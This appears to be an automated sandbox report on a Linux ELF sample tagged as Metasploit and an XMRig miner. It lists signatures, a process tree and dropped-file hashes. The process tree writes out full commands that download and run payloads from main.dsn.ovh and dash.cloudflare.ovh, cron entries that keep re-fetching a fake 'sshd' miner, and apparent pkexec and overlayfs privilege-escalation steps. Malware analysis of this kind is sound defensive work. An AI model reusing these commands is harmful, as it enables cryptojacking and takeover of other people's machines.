Overview

overview

10

Static

static

10

2636f4d5fa...35.elf

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    19-10-2024 09:24

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2636f4d5fa29c3747036d385c3eee167aba1aad58c29597d21df7e42c6149a35.elf

  • Size

    1KB

  • MD5

    a3a1adfcbc6207f3e6e0c35d3cf03904

  • SHA1

    f10f7793d4d78120395d11d7020ab626995e2c01

  • SHA256

    2636f4d5fa29c3747036d385c3eee167aba1aad58c29597d21df7e42c6149a35

  • SHA512

    d66495bda3366633baed9e80dafb494bbe39cccb331a1b031c239650866489d6e45db7a9e5f3fe4e951e3f321d9eb9a0c7abf00ede54f6548c4235b9ef3debf9

Score
10/10
metasploitxmrigantivmbackdoordefense_evasiondiscoveryexecutionminerpersistenceprivilege_escalatiotrojan

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Signatures

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • XMRig Miner payload 2 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • File and Directory Permissions Modification 1 TTPs 35 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 15 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Creates/modifies Cron job 1 TTPs 5 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Uses Polkit to run commands 1 IoCs

    Uses Polkit pkexec as a proxy to execute commands, possibly to bypass security restrictions.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 2 IoCs
    discovery
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

    Execute scripts via Unix Shell.

    execution
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 31 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

  • cURL User-Agent 11 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • /tmp/2636f4d5fa29c3747036d385c3eee167aba1aad58c29597d21df7e42c6149a35.elf
    /tmp/2636f4d5fa29c3747036d385c3eee167aba1aad58c29597d21df7e42c6149a35.elf
    1⤵
      PID:2486
      • /usr/bin/wget
        wget -nc http://main.dsn.ovh/dns/lovely -q -P /var/tmp/
        2⤵
          PID:2487
        • /usr/bin/chmod
          chmod 777 /var/tmp/lovely
          2⤵
          • File and Directory Permissions Modification
          PID:2492
        • /usr/bin/curl
          curl http://main.dsn.ovh/dns/lovely -s -o /var/tmp/lovely
          2⤵
          • Reads runtime system information
          PID:2493
        • /usr/bin/chmod
          chmod 777 /var/tmp/lovely
          2⤵
          • File and Directory Permissions Modification
          PID:2495
        • /var/tmp/lovely
          ./lovely
          2⤵
          • Executes dropped EXE
          PID:2496
          • /usr/bin/wget
            wget -nc http://main.dsn.ovh/dns/unix.sh -q -P /var/tmp/
            3⤵
              PID:2497
            • /usr/bin/chmod
              chmod 777 /var/tmp/unix.sh
              3⤵
              • File and Directory Permissions Modification
              PID:2498
            • /usr/bin/curl
              curl http://main.dsn.ovh/dns/unix.sh -s -o /var/tmp/unix.sh
              3⤵
              • Reads runtime system information
              PID:2499
            • /usr/bin/chmod
              chmod 777 /var/tmp/unix.sh
              3⤵
              • File and Directory Permissions Modification
              PID:2501
            • /var/tmp/unix.sh
              ./unix.sh
              3⤵
              • Executes dropped EXE
              PID:2502
            • /bin/sh
              /bin/sh ./unix.sh
              3⤵
                PID:2502
              • /usr/bin/rm
                rm unix.sh
                3⤵
                  PID:2504
                • /usr/bin/wget
                  wget -nc http://main.dsn.ovh/dns/sshd -q -P /var/tmp/
                  3⤵
                    PID:2505
                  • /usr/bin/chmod
                    chmod 777 /var/tmp/sshd
                    3⤵
                    • File and Directory Permissions Modification
                    PID:2506
                  • /usr/bin/curl
                    curl http://main.dsn.ovh/dns/sshd -s -o /var/tmp/sshd
                    3⤵
                    • Reads runtime system information
                    PID:2507
                  • /usr/bin/chmod
                    chmod 777 /var/tmp/sshd
                    3⤵
                    • File and Directory Permissions Modification
                    PID:2520
                  • /usr/bin/wget
                    wget -nc http://main.dsn.ovh/dns/config.json -q -P /var/tmp/
                    3⤵
                      PID:2521
                    • /usr/bin/curl
                      curl http://main.dsn.ovh/dns/config.json -s -o /var/tmp/config.json
                      3⤵
                      • Reads runtime system information
                      PID:2522
                    • /usr/bin/crontab
                      crontab -l
                      3⤵
                        PID:2530
                      • /usr/bin/grep
                        grep -qxF
                        3⤵
                        • Reads runtime system information
                        PID:2531
                      • /usr/bin/crontab
                        crontab -
                        3⤵
                        • Creates/modifies Cron job
                        PID:2533
                      • /usr/bin/crontab
                        crontab -l
                        3⤵
                          PID:2534
                        • /usr/bin/wget
                          wget -nc http://main.dsn.ovh/dns/truct.sh -q -P /var/tmp/
                          3⤵
                            PID:2535
                          • /usr/bin/chmod
                            chmod 777 /var/tmp/truct.sh
                            3⤵
                            • File and Directory Permissions Modification
                            PID:2536
                          • /usr/bin/curl
                            curl http://main.dsn.ovh/dns/truct.sh -s -o /var/tmp/truct.sh
                            3⤵
                            • Reads runtime system information
                            PID:2537
                          • /usr/bin/chmod
                            chmod 777 /var/tmp/truct.sh
                            3⤵
                            • File and Directory Permissions Modification
                            PID:2539
                          • /var/tmp/truct.sh
                            ./truct.sh
                            3⤵
                            • Executes dropped EXE
                            PID:2540
                          • /bin/sh
                            /bin/sh ./truct.sh
                            3⤵
                              PID:2540
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:2541
                                • /usr/bin/grep
                                  grep -qxF "0 */6 * * * /usr/bin/flock -n /var/tmp/tmp.lock -c 'cd /var/tmp; wget -nc http://main.dsn.ovh/dns/sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; curl http://main.dsn.ovh/dns/sshd -o sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; wget -nc http://main.dsn.ovh/dns/config.json; cd /var/tmp; curl http://main.dsn.ovh/dns/config.json -o config.json'"
                                  4⤵
                                  • File and Directory Permissions Modification
                                  • Reads runtime system information
                                  PID:2542
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:2544
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:2545
                                • /usr/bin/rm
                                  rm truct.sh
                                  3⤵
                                    PID:2546
                                  • /usr/bin/wget
                                    wget -nc http://main.dsn.ovh/dns/brict.sh -q -P /var/tmp/
                                    3⤵
                                      PID:2547
                                    • /usr/bin/chmod
                                      chmod 777 /var/tmp/brict.sh
                                      3⤵
                                      • File and Directory Permissions Modification
                                      PID:2548
                                    • /usr/bin/curl
                                      curl http://main.dsn.ovh/dns/brict.sh -s -o /var/tmp/brict.sh
                                      3⤵
                                      • Reads runtime system information
                                      PID:2549
                                    • /usr/bin/chmod
                                      chmod 777 /var/tmp/brict.sh
                                      3⤵
                                      • File and Directory Permissions Modification
                                      PID:2551
                                    • /var/tmp/brict.sh
                                      ./brict.sh
                                      3⤵
                                      • Executes dropped EXE
                                      PID:2552
                                    • /bin/sh
                                      /bin/sh ./brict.sh
                                      3⤵
                                        PID:2552
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                            PID:2553
                                          • /usr/bin/grep
                                            grep -qxF "* * * * * /usr/bin/flock -n /var/tmp/vm.lock -c 'cd /var/tmp; ./sshd'"
                                            4⤵
                                            • Reads runtime system information
                                            PID:2554
                                          • /usr/bin/crontab
                                            crontab -
                                            4⤵
                                            • Creates/modifies Cron job
                                            PID:2556
                                          • /usr/bin/crontab
                                            crontab -l
                                            4⤵
                                              PID:2557
                                          • /usr/bin/rm
                                            rm brict.sh
                                            3⤵
                                              PID:2558
                                            • /usr/bin/flock
                                              /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                              3⤵
                                                PID:2559
                                                • /bin/sh
                                                  /bin/sh -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                                  4⤵
                                                  • Command and Scripting Interpreter: Unix Shell
                                                  PID:2560
                                              • /usr/bin/wget
                                                wget -nc http://main.dsn.ovh/dns/retrict.sh -q -P /var/tmp/
                                                3⤵
                                                  PID:2562
                                                • /usr/bin/chmod
                                                  chmod 777 /var/tmp/retrict.sh
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:2569
                                                • /usr/bin/curl
                                                  curl http://main.dsn.ovh/dns/retrict.sh -s -o /var/tmp/retrict.sh
                                                  3⤵
                                                  • Reads runtime system information
                                                  PID:2570
                                                • /usr/bin/chmod
                                                  chmod 777 /var/tmp/retrict.sh
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:2573
                                                • /var/tmp/retrict.sh
                                                  ./retrict.sh
                                                  3⤵
                                                  • Executes dropped EXE
                                                  PID:2574
                                                • /bin/sh
                                                  /bin/sh ./retrict.sh
                                                  3⤵
                                                  • Creates/modifies Cron job
                                                  PID:2574
                                                  • /usr/bin/grep
                                                    grep -qxF "0 */6 * * * root /usr/bin/flock -n /var/tmp/tmp.lock -c 'cd /var/tmp; wget -nc http://main.dsn.ovh/dns/sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; curl http://main.dsn.ovh/dns/sshd -o sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; wget -nc http://main.dsn.ovh/dns/config.json; cd /var/tmp; curl http://main.dsn.ovh/dns/config.json -o config.json'" /etc/crontab
                                                    4⤵
                                                    • File and Directory Permissions Modification
                                                    • Reads runtime system information
                                                    PID:2575
                                                • /usr/bin/rm
                                                  rm retrict.sh
                                                  3⤵
                                                    PID:2576
                                                  • /usr/bin/wget
                                                    wget -nc http://main.dsn.ovh/dns/politrict.sh -q -P /var/tmp/
                                                    3⤵
                                                      PID:2577
                                                    • /usr/bin/chmod
                                                      chmod 777 /var/tmp/politrict.sh
                                                      3⤵
                                                      • File and Directory Permissions Modification
                                                      PID:2578
                                                    • /usr/bin/curl
                                                      curl http://main.dsn.ovh/dns/politrict.sh -s -o /var/tmp/politrict.sh
                                                      3⤵
                                                      • Reads runtime system information
                                                      PID:2579
                                                    • /usr/bin/chmod
                                                      chmod 777 /var/tmp/politrict.sh
                                                      3⤵
                                                      • File and Directory Permissions Modification
                                                      PID:2581
                                                    • /var/tmp/politrict.sh
                                                      ./politrict.sh
                                                      3⤵
                                                      • Executes dropped EXE
                                                      PID:2582
                                                    • /bin/sh
                                                      /bin/sh ./politrict.sh
                                                      3⤵
                                                      • Creates/modifies Cron job
                                                      PID:2582
                                                      • /usr/bin/grep
                                                        grep -qxF "* * * * * root /usr/bin/flock -n /var/tmp/vm.lock -c 'cd /var/tmp; ./sshd'" /etc/crontab
                                                        4⤵
                                                        • Reads runtime system information
                                                        PID:2583
                                                    • /usr/bin/rm
                                                      rm politrict.sh
                                                      3⤵
                                                        PID:2584
                                                      • /usr/bin/flock
                                                        /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                                        3⤵
                                                          PID:2585
                                                      • /usr/bin/rm
                                                        rm lovely
                                                        2⤵
                                                          PID:2586
                                                        • /usr/bin/wget
                                                          wget -nc http://main.dsn.ovh/dns/lushput -q -P /tmp/
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:2587
                                                        • /usr/bin/chmod
                                                          chmod 777 /tmp/lushput
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:2588
                                                        • /usr/bin/curl
                                                          curl http://main.dsn.ovh/dns/lushput -s -o /tmp/lushput
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:2589
                                                        • /usr/bin/chmod
                                                          chmod 777 /tmp/lushput
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:2591
                                                        • /tmp/lushput
                                                          ./lushput "wget -nc http://main.dsn.ovh/dns/bitnow -q -P /var/tmp/; chmod 777 /var/tmp/bitnow; curl http://main.dsn.ovh/dns/bitnow -s -o /var/tmp/bitnow; chmod 777 /var/tmp/bitnow; cd /var/tmp; ./bitnow; cd /var/tmp; rm bitnow"
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          • Executes dropped EXE
                                                          • Writes file to tmp directory
                                                          PID:2592
                                                        • /usr/bin/pkexec
                                                          2⤵
                                                          • Uses Polkit to run commands
                                                          • Reads runtime system information
                                                          PID:2592
                                                        • /usr/bin/rm
                                                          rm -rf 2636f4d5fa29c3747036d385c3eee167aba1aad58c29597d21df7e42c6149a35.elf "GCONV_PATH=." gdm3-config-err-QIRJD0 gdm3-config-err-wcrE8Z lushput snap-private-tmp systemd-private-63b463d3ddba46c5ba725f65aeb475e2-ModemManager.service-TEoeYq systemd-private-63b463d3ddba46c5ba725f65aeb475e2-colord.service-wvHScB systemd-private-63b463d3ddba46c5ba725f65aeb475e2-polkit.service-UYaRS8 systemd-private-63b463d3ddba46c5ba725f65aeb475e2-power-profiles-daemon.service-3glfDe systemd-private-63b463d3ddba46c5ba725f65aeb475e2-switcheroo-control.service-FGLkHU systemd-private-63b463d3ddba46c5ba725f65aeb475e2-systemd-logind.service-u4tSEY systemd-private-63b463d3ddba46c5ba725f65aeb475e2-systemd-oomd.service-tBUdsa systemd-private-63b463d3ddba46c5ba725f65aeb475e2-systemd-resolved.service-cCtFlD systemd-private-63b463d3ddba46c5ba725f65aeb475e2-systemd-timedated.service-Dn9Q73 systemd-private-63b463d3ddba46c5ba725f65aeb475e2-upower.service-GUSHRK
                                                          2⤵
                                                            PID:2594
                                                          • /usr/bin/rm
                                                            rm -rf .pkexec
                                                            2⤵
                                                              PID:2595
                                                            • /usr/bin/wget
                                                              wget -nc http://main.dsn.ovh/dns/seasbit -q -P /tmp/
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:2596
                                                            • /usr/bin/chmod
                                                              chmod 777 /tmp/seasbit
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:2597
                                                            • /usr/bin/curl
                                                              curl http://main.dsn.ovh/dns/seasbit -s -o /tmp/seasbit
                                                              2⤵
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:2598
                                                            • /usr/bin/chmod
                                                              chmod 777 /tmp/seasbit
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:2600
                                                            • /usr/bin/wget
                                                              wget -nc http://main.dsn.ovh/dns/loadbit -q -P /tmp/
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:2601
                                                            • /usr/bin/chmod
                                                              chmod 777 /tmp/loadbit
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:2602
                                                            • /usr/bin/curl
                                                              curl http://main.dsn.ovh/dns/loadbit -s -o /tmp/loadbit
                                                              2⤵
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:2603
                                                            • /usr/bin/chmod
                                                              chmod 777 /tmp/loadbit
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:2605
                                                            • /tmp/loadbit
                                                              ./loadbit
                                                              2⤵
                                                              • Executes dropped EXE
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:2606
                                                              • /bin/sh
                                                                sh -c -- "rm -rf './ovlcap/'"
                                                                3⤵
                                                                  PID:2608
                                                                  • /usr/bin/rm
                                                                    rm -rf ./ovlcap/
                                                                    4⤵
                                                                      PID:2609
                                                                • /tmp/ovlcap/upper/magic
                                                                  ./ovlcap/upper/magic shell
                                                                  2⤵
                                                                    PID:2606
                                                                  • /bin/bash
                                                                    /bin/bash -c /tmp/seasbit
                                                                    2⤵
                                                                      PID:2606
                                                                    • /tmp/seasbit
                                                                      /tmp/seasbit
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:2606
                                                                      • /usr/bin/wget
                                                                        wget -nc http://dash.cloudflare.ovh/mvt/unix.sh -q -P /var/tmp/
                                                                        3⤵
                                                                          PID:2612
                                                                        • /usr/bin/chmod
                                                                          chmod 777 /var/tmp/unix.sh
                                                                          3⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:2613
                                                                        • /usr/bin/curl
                                                                          curl http://dash.cloudflare.ovh/mvt/unix.sh -s -o /var/tmp/unix.sh
                                                                          3⤵
                                                                          • Reads runtime system information
                                                                          PID:2614
                                                                        • /usr/bin/chmod
                                                                          chmod 777 /var/tmp/unix.sh
                                                                          3⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:2616
                                                                        • /var/tmp/unix.sh
                                                                          ./unix.sh
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          PID:2617
                                                                        • /usr/bin/rm
                                                                          rm unix.sh
                                                                          3⤵
                                                                            PID:2618
                                                                          • /usr/bin/wget
                                                                            wget -nc http://dash.cloudflare.ovh/mvt/sshd -q -P /var/tmp/
                                                                            3⤵
                                                                              PID:2619
                                                                            • /usr/bin/chmod
                                                                              chmod 777 /var/tmp/sshd
                                                                              3⤵
                                                                              • File and Directory Permissions Modification
                                                                              PID:2620
                                                                            • /usr/bin/curl
                                                                              curl http://dash.cloudflare.ovh/mvt/sshd -s -o /var/tmp/sshd
                                                                              3⤵
                                                                              • Reads runtime system information
                                                                              PID:2621
                                                                            • /usr/bin/chmod
                                                                              chmod 777 /var/tmp/sshd
                                                                              3⤵
                                                                              • File and Directory Permissions Modification
                                                                              PID:2623
                                                                            • /usr/bin/wget
                                                                              wget -nc http://dash.cloudflare.ovh/mvt/config.json -q -P /var/tmp/
                                                                              3⤵
                                                                                PID:2624
                                                                              • /usr/bin/curl
                                                                                curl http://dash.cloudflare.ovh/mvt/config.json -s -o /var/tmp/config.json
                                                                                3⤵
                                                                                • Reads runtime system information
                                                                                PID:2625
                                                                              • /usr/bin/crontab
                                                                                crontab -l
                                                                                3⤵
                                                                                  PID:2627
                                                                                • /usr/bin/grep
                                                                                  grep -qxF
                                                                                  3⤵
                                                                                  • Reads runtime system information
                                                                                  PID:2628
                                                                                • /usr/bin/wget
                                                                                  wget -nc http://dash.cloudflare.ovh/mvt/truct.sh -q -P /var/tmp/
                                                                                  3⤵
                                                                                    PID:2629
                                                                                  • /usr/bin/chmod
                                                                                    chmod 777 /var/tmp/truct.sh
                                                                                    3⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:2630
                                                                                  • /usr/bin/curl
                                                                                    curl http://dash.cloudflare.ovh/mvt/truct.sh -s -o /var/tmp/truct.sh
                                                                                    3⤵
                                                                                    • Reads runtime system information
                                                                                    PID:2631
                                                                                  • /usr/bin/chmod
                                                                                    chmod 777 /var/tmp/truct.sh
                                                                                    3⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:2633
                                                                                  • /var/tmp/truct.sh
                                                                                    ./truct.sh
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:2634
                                                                                  • /usr/bin/rm
                                                                                    rm truct.sh
                                                                                    3⤵
                                                                                      PID:2635
                                                                                    • /usr/bin/wget
                                                                                      wget -nc http://dash.cloudflare.ovh/mvt/brict.sh -q -P /var/tmp/
                                                                                      3⤵
                                                                                        PID:2636
                                                                                      • /usr/bin/chmod
                                                                                        chmod 777 /var/tmp/brict.sh
                                                                                        3⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:2637
                                                                                      • /usr/bin/curl
                                                                                        curl http://dash.cloudflare.ovh/mvt/brict.sh -s -o /var/tmp/brict.sh
                                                                                        3⤵
                                                                                        • Reads runtime system information
                                                                                        PID:2638
                                                                                      • /usr/bin/chmod
                                                                                        chmod 777 /var/tmp/brict.sh
                                                                                        3⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:2640
                                                                                      • /var/tmp/brict.sh
                                                                                        ./brict.sh
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:2641
                                                                                      • /usr/bin/rm
                                                                                        rm brict.sh
                                                                                        3⤵
                                                                                          PID:2642
                                                                                        • /usr/bin/flock
                                                                                          /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                                                                          3⤵
                                                                                            PID:2643
                                                                                          • /usr/bin/wget
                                                                                            wget -nc http://dash.cloudflare.ovh/mvt/retrict.sh -q -P /var/tmp/
                                                                                            3⤵
                                                                                              PID:2644
                                                                                            • /usr/bin/chmod
                                                                                              chmod 777 /var/tmp/retrict.sh
                                                                                              3⤵
                                                                                              • File and Directory Permissions Modification
                                                                                              PID:2645
                                                                                            • /usr/bin/curl
                                                                                              curl http://dash.cloudflare.ovh/mvt/retrict.sh -s -o /var/tmp/retrict.sh
                                                                                              3⤵
                                                                                              • Reads runtime system information
                                                                                              PID:2646
                                                                                            • /usr/bin/chmod
                                                                                              chmod 777 /var/tmp/retrict.sh
                                                                                              3⤵
                                                                                              • File and Directory Permissions Modification
                                                                                              PID:2648
                                                                                            • /var/tmp/retrict.sh
                                                                                              ./retrict.sh
                                                                                              3⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:2649
                                                                                            • /usr/bin/rm
                                                                                              rm retrict.sh
                                                                                              3⤵
                                                                                                PID:2650
                                                                                              • /usr/bin/wget
                                                                                                wget -nc http://dash.cloudflare.ovh/mvt/politrict.sh -q -P /var/tmp/
                                                                                                3⤵
                                                                                                  PID:2651
                                                                                                • /usr/bin/chmod
                                                                                                  chmod 777 /var/tmp/politrict.sh
                                                                                                  3⤵
                                                                                                  • File and Directory Permissions Modification
                                                                                                  PID:2652
                                                                                                • /usr/bin/curl
                                                                                                  curl http://dash.cloudflare.ovh/mvt/politrict.sh -s -o /var/tmp/politrict.sh
                                                                                                  3⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:2653
                                                                                                • /usr/bin/chmod
                                                                                                  chmod 777 /var/tmp/politrict.sh
                                                                                                  3⤵
                                                                                                  • File and Directory Permissions Modification
                                                                                                  PID:2655
                                                                                                • /var/tmp/politrict.sh
                                                                                                  ./politrict.sh
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:2656
                                                                                                • /usr/bin/rm
                                                                                                  rm politrict.sh
                                                                                                  3⤵
                                                                                                    PID:2657
                                                                                                  • /usr/bin/flock
                                                                                                    /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                                                                                    3⤵
                                                                                                      PID:2658
                                                                                                  • /usr/bin/rm
                                                                                                    rm -rf loadbit ovlcap seasbit
                                                                                                    2⤵
                                                                                                      PID:2659
                                                                                                  • /usr/bin/nohup
                                                                                                    nohup ./sshd
                                                                                                    1⤵
                                                                                                      PID:2561
                                                                                                    • /var/tmp/sshd
                                                                                                      ./sshd
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Checks hardware identifiers (DMI)
                                                                                                      • Reads hardware information
                                                                                                      • Checks CPU configuration
                                                                                                      • Reads CPU attributes
                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                      • Reads runtime system information
                                                                                                      PID:2561

                                                                                                    Network

                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                    Replay Monitor

                                                                                                    Loading Replay Monitor...

                                                                                                    Downloads

                                                                                                    • /tmp/.pkexec/gconv-modules
                                                                                                      Filesize

                                                                                                      32B

                                                                                                      MD5

                                                                                                      b9509d5bee230341cacfed6bd6712bd3

                                                                                                      SHA1

                                                                                                      2dbad9dc54dfd6b14af012c54b3adbd939100fa6

                                                                                                      SHA256

                                                                                                      50f2c869bb56ae55e7b42e02bdd757b10a4bbb5532157c46c0f3f32ab0ebabdd

                                                                                                      SHA512

                                                                                                      d817b5d4cf294e18af8e029d5e82e693825c29d3164ed2bd5a0cb86a6fb68c5de3b8f30595bbf50ee0c7c98fa10601971c9aa98fc8cb96e7775f6306e0fddae6

                                                                                                      Download Submit

                                                                                                    • /tmp/loadbit
                                                                                                      Filesize

                                                                                                      17KB

                                                                                                      MD5

                                                                                                      593e9551a4a9b49323a1fda81fe1dd5e

                                                                                                      SHA1

                                                                                                      3ea957516c02bc2e57ce17401b56e5f2f0288725

                                                                                                      SHA256

                                                                                                      2b305939d1069c7490b3539e2855ed7538c1a83eb2baca53e50e7ce1b3a165ab

                                                                                                      SHA512

                                                                                                      26a3a00e55e742d5d44c90725716417f2399c517ac5d462e0458535f05d656d70b1cc714bc1c8ecb4e6a94d68ed3b47bfaace7645634cfd236057b621a10c518

                                                                                                      Download Submit

                                                                                                    • /tmp/lushput
                                                                                                      Filesize

                                                                                                      14KB

                                                                                                      MD5

                                                                                                      8e3e276e650e6ea21bea16c8c2f3e8c3

                                                                                                      SHA1

                                                                                                      e483074bbe5e41cacbe081f290d7e6b0c3184c7f

                                                                                                      SHA256

                                                                                                      4dcae1bddfc3e2cb98eae84e86fb58ec14ea6ef00778ac5974c4ec526d3da31f

                                                                                                      SHA512

                                                                                                      8b33a40fd39a06a85169f2e4c4172a4d44ec24d50c512db7231ab4575dbf4093bfdabc63dd1b36dda94ec87772469e659abf0650d8982a526d8623a96bf93e38

                                                                                                      Download Submit

                                                                                                    • /tmp/seasbit
                                                                                                      Filesize

                                                                                                      1KB

                                                                                                      MD5

                                                                                                      932df67ea6b8900a30249e311195a58f

                                                                                                      SHA1

                                                                                                      d6b7c2388a75c2c3b71d5ad7130f1d3dfeb7fd83

                                                                                                      SHA256

                                                                                                      e4a58509fea52a4917007b1cd1a87050b0109b50210c5d00e08ece1871af084d

                                                                                                      SHA512

                                                                                                      f6801c3cbc1d28e8f4a5373340081528dc1ece23e59585cc45831177710ac785557ebf364bd8a867f0c687ca518f41913427b27ddd2f2ff64e64ae7ba760fc0c

                                                                                                      Download Submit

                                                                                                    • /var/spool/cron/crontabs/tmp.Ov7Utm
                                                                                                      Filesize

                                                                                                      176B

                                                                                                      MD5

                                                                                                      9f24fb6598a7982ec26b5ec72bb21968

                                                                                                      SHA1

                                                                                                      ce6e117fae175e3039f9364b80c2776145388b22

                                                                                                      SHA256

                                                                                                      acd6e60070e5b1205691e991e8873ac207c793c221bb4f46128e24799e16ec24

                                                                                                      SHA512

                                                                                                      5bba66847957e2af487439c857d5a5734179eac241459568e6474f004985405dc209504ece177729b0a6c2dfc9dff0c527482aee9dd36f35d8be0767ff3dd1e7

                                                                                                      Download Submit

                                                                                                    • /var/spool/cron/crontabs/tmp.XwEOcb
                                                                                                      Filesize

                                                                                                      523B

                                                                                                      MD5

                                                                                                      59acf2a82c208008232480c2e1c06caf

                                                                                                      SHA1

                                                                                                      b9a255eedbaff1567d9c19dda21e39b9d611fcaf

                                                                                                      SHA256

                                                                                                      9a4eaed725aa1ee2236ddb3e334c0f8c638ce18440193d8c4406d8aa8083d234

                                                                                                      SHA512

                                                                                                      4cde9d12baac3110aedfce250013e966dbf757e3949d6ca85dc00515a6aa157e612e2cbbc6eabb6c2244a448b00ed1198294e59c09fa2377d6433b56101b7e52

                                                                                                      Download Submit

                                                                                                    • /var/spool/cron/crontabs/tmp.aZM50p
                                                                                                      Filesize

                                                                                                      593B

                                                                                                      MD5

                                                                                                      e6710652e8df322d6d4523a6ccf32c5b

                                                                                                      SHA1

                                                                                                      449057fa31f56425c1966a3992036cc9bafb954a

                                                                                                      SHA256

                                                                                                      623313a38617593eed13be4e86da20d694c388c1d39434f18c6ad27cee7e9d90

                                                                                                      SHA512

                                                                                                      312ee07acce0ce347c87dabf22e8e0c660a51356fb678c15fe9834f82440df57f3ac585a67db9093e8bac7283babf7e49d9a0a4daad6d37b6f250ad62df0850a

                                                                                                      Download Submit

                                                                                                    • /var/tmp/brict.sh
                                                                                                      Filesize

                                                                                                      200B

                                                                                                      MD5

                                                                                                      8677d3acf751217ec3c3161ce266e748

                                                                                                      SHA1

                                                                                                      b3bdad150a3d12080a8b0e4942dd1c04ca08dd60

                                                                                                      SHA256

                                                                                                      64a31abd82af27487985a0c0f47946295b125e6d128819d1cbd0f6b62a95d6c4

                                                                                                      SHA512

                                                                                                      cc42b48bd45bdadad56b360fbd2e2176f603f339c8a37236cfa4370b8ac66300a3408eba041a9fd54af3fc9296541ef2a09c5e990c29f51cc09cd26d502def5a

                                                                                                      Download Submit

                                                                                                    • /var/tmp/config.json
                                                                                                      Filesize

                                                                                                      1KB

                                                                                                      MD5

                                                                                                      eae740299e852ad90a690e29e0f436e5

                                                                                                      SHA1

                                                                                                      e11b1d8e042a70ed10ec3dcfe2fb2d44570dd84c

                                                                                                      SHA256

                                                                                                      4837501c5271d76200862fe677dcdbda6552d483c6f7100873e3c04bc9dce51e

                                                                                                      SHA512

                                                                                                      acdc41057dfb45548d12bb4e4feab79f7484518ca1a10e219f455f59a18d5f53444b786aa47f6d85ffa49383ba539745c6a7f4d79935f169ce3dc07b03081df4

                                                                                                      Download Submit

                                                                                                    • /var/tmp/lovely
                                                                                                      Filesize

                                                                                                      1KB

                                                                                                      MD5

                                                                                                      8ecdf266fc81cd1ba7cd4d97f3bf0e0d

                                                                                                      SHA1

